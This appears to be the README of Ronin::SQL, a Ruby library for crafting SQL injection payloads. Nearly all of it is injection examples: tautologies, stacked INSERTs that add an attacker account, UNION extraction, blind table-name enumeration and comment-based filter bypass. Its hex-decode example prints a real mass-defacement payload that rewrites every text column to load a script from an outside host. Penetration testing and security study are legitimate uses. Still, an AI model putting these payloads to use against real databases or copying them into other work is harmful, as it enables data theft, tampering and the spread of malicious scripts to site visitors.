SQL¶ ↑
Description¶ ↑
Ronin::SQL} is a Ruby DSL for crafting {SQL Injections (SQLi).
Features¶ ↑
-
Provides convenience methods for encoding/decoding SQL data.
-
Provides an Domain Specific Language (DSL) for crafting normal SQL and SQL injections.
Examples¶ ↑
Convenience Methods¶ ↑
Escape a String:
"O'Brian".sql_escape # => "'O''Brian'"
Unescapes a SQL String:
"'O''Brian'".sql_unescape # => "O'Briand"
Hex encode a String:
"exploit".sql_encode # => "0x6578706c6f6974"
Hex decode a String:
string = "4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72" string.sql_decode # => "DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''\"></title><script src=\"http://www0.douhunqn.cn/csrss/w.js\"></script><!--''+['+@C+'] where '+@C+' not like ''%\"></title><script src=\"http://www0.douhunqn.cn/csrss/w.js\"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor"
SQLi DSL¶ ↑
Injecting a 1=1
test into a Integer comparison:
sqli = Ronin::SQL::Injection.new sqli.or { 1 == 1 } puts sqli # 1 OR 1=1
Injecting a 1=1
test into a String
comparison:
sqli = Ronin::SQL::Injection.new(escape: :string) sqli.or { string(1) == string(1) } puts sqli # 1' OR '1'='1
Columns:
sqli = Ronin::SQL::Injection.new sqli.and { admin == 1 } puts sqli # 1 AND admin=1
Clauses:
sqli = Ronin::SQL::Injection.new sqli.or { 1 == 1 }.limit(0) puts sqli # 1 OR 1=1 LIMIT 0
Statements:
sqli = Ronin::SQL::Injection.new sqli.and { 1 == 0 } sqli.insert.into(:users).values('hacker','passw0rd','t') puts sqli # 1 AND 1=0; INSERT INTO users VALUES ('hacker','passw0rd','t')
Sub-Statements:
sqli = Ronin::SQL::Injection.new sqli.union { select(1,2,3,4,id).from(users) } puts sqli # 1 UNION SELECT (1,2,3,4,id) FROM users
Test if a table exists:
sqli = Ronin::SQL::Injection.new sqli.and { select(count).from(:users) == 1 } puts sqli # 1 AND (SELECT COUNT(*) FROM users)=1
Create errors by using non-existant tables:
sqli = Ronin::SQL::Injection.new(escape: :string) sqli.and { non_existant_table == '1' } puts sqli # 1' AND non_existant_table='1
Dumping all values of a column:
sqli = Ronin::SQL::Injection.new(escape: :string) sqli.or { username.is_not(null) }.or { username == '' } puts sqli # 1' OR username IS NOT NULL OR username='
Enumerate through database table names:
sqli = Ronin::SQL::Injection.new sqli.and { ascii( lower( substring( select(:name).top(1).from(sysobjects).where { xtype == 'U' }, 1, 1 ) ) ) > 116 } puts sqli # 1 AND ASCII(LOWER(SUBSTRING((SELECT name TOP 1 FROM sysobjects WHERE xtype='U'),1,1)))>116
Find user supplied tables via the sysObjects
table:
sqli = Ronin::SQL::Injection.new sqli.union_all { select(1,2,3,4,5,6,name).from(sysObjects).where { xtype == 'U' } } puts sqli.to_sql(:terminate => true) # 1 UNION ALL (SELECT (1,2,3,4,5,6,name) FROM sysObjects WHERE xtype='U');--
Bypass filters using /**/
instead of spaces:
sqli = Ronin::SQL::Injection.new sqli.union { select(1,2,3,4,id).from(users) } puts sqli.to_sql(:space => '/**/') # 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users
